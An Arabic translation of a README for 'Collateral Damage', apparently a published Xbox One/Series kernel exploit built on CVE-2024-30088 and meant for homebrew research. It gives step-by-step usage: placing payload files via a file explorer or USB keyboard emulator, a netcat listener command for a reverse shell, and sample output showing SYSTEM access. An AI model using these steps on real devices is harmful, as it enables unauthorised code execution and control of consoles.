الأضرار الجانبية

الأضرار الجانبية هو استغلال للنواة (kernel) في نظام Xbox SystemOS باستخدام CVE-2024-30088. يستهدف أجهزة Xbox One و Xbox Series التي تعمل بإصدارات النواة 25398.4478 و 25398.4908 و 25398.4909. نقطة الدخول الأولية تكون عبر تطبيق Game Script UWP.

يتم توفير الحمولات الأولية، محمل PE ومحمل الشبكة، بواسطة Solstice.

تم تطوير هذا الاستغلال بواسطة Emma Kirkpatrick (اكتشاف الثغرة واستغلالها) و Lander Brandt (Solstice)

تحذيرات مهمة

لوضع الحمولة محليًا على جهاز Xbox، يُوصى باستخدام مستكشف كامل الثقة مثل Adv File Explorer (FullTrust). بدلاً من ذلك، يمكن تقديم الحمولة الأولية عبر محاكي لوحة مفاتيح USB (rubber ducky إلخ) ويمكن تحميل مراحل الحمولة التالية عبر الشبكة.

يتطلب مثال الصدى العكسي (reverse shell) المقدم هنا أن يكون جهازك متصلاً بشبكة. عند توصيل جهازك بشبكة، كن حذرًا جدًا لتجنب الاتصال بالإنترنت والتحديث. حاول منع الاتصال بـ Xbox LIVE قدر الإمكان، على الأقل عن طريق ضبط DNS إلى خوادم غير صالحة.

هذا الاستغلال ليس موثوقًا تمامًا. يعتمد على قناة جانبية لوحدة المعالجة المركزية (CPU side channel) بالإضافة إلى حالة سباق (race condition)، وكلاهما معرض للفشل. في حالة الفشل، قد ينبهك الاستغلال بفشله عبر مخرجات الشبكة، أو قد يتعطل الجهاز ويعيد التشغيل.

الاستخدام

• قم بتعديل السطر 7 من gamescript_autosave_network.txt أو gamescript_autosave.txt لاحتواء عنوان IP المحلي لجهاز الكمبيوتر الخاص بك.
  • للاستخدام مع تطبيق مستكشف الملفات كامل الثقة: انسخ gamescript_autosave.txt و stage2.bin و run.exe إلى دليل LocalState الخاص بتطبيق Game Script على جهازك (Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)
  • لإدخال محاكي HID / لوحة المفاتيح: اكتب محتويات gamescript_autosave_network.txt في نافذة GameScript. قم بتقديم stage2.bin و run.exe عبر payload_server_win_x64.exe --stage2 stage2.bin --run run.exe
• استمع على المنفذ 7070 على جهاز الكمبيوتر الخاص بك باستخدام netcat أو أداة مشابهة (مثال الأمر: nc64.exe -lvnp 7070)
• افتح تطبيق Game Script على جهازك واختر "إظهار نافذة تشغيل الكود" ثم انقر "تشغيل الكود مرة واحدة"
• إذا نجح الاستغلال، يجب أن ترى مخرجات على جهاز الكمبيوتر الخاص بك تشبه التالي:

listening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!

Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.

S:\>

التجارب

هناك الكثير من العمل الإضافي المطلوب لجعل هذه الأداة سهلة الاستخدام لتحميل البرامج المنزلية (homebrew) على Xbox، لكني آمل أن تكون نقطة انطلاق جيدة :) إذا كنت ترغب في تجربة تشغيل الكود بصلاحيات SYSTEM، يمكنك وضع كودك في دالة post_exploit في ملف post_exploit.c.

العمل المستقبلي

هناك الكثير مما يمكن فعله، ولكن بما أن جزء النواة قد اكتمل، أردت مشاركته مع المجتمع حتى يتمكن المطورون من البدء في التجربة بصلاحيات SYSTEM. إليك بعض الأشياء التي ما زلت آمل في إضافتها في المستقبل:

• دعم التحميل الجانبي (Side loading)
• تشغيل عمليات غير موقعة وغير تابعة لـ UWP
• دعم SSH

الأفكار الإضافية مرحب بها :)

الشكر

شكرًا لكل من ساعدني في العصف الذهني وشاركني معرفته ووقته طوال هذا العمل!!! بعض الأشخاص الذين أود أن أظهر لهم تقديري:

• chompie
• tuxuser
• baw
• Xbox One Research
• XBOX-SCENE Discord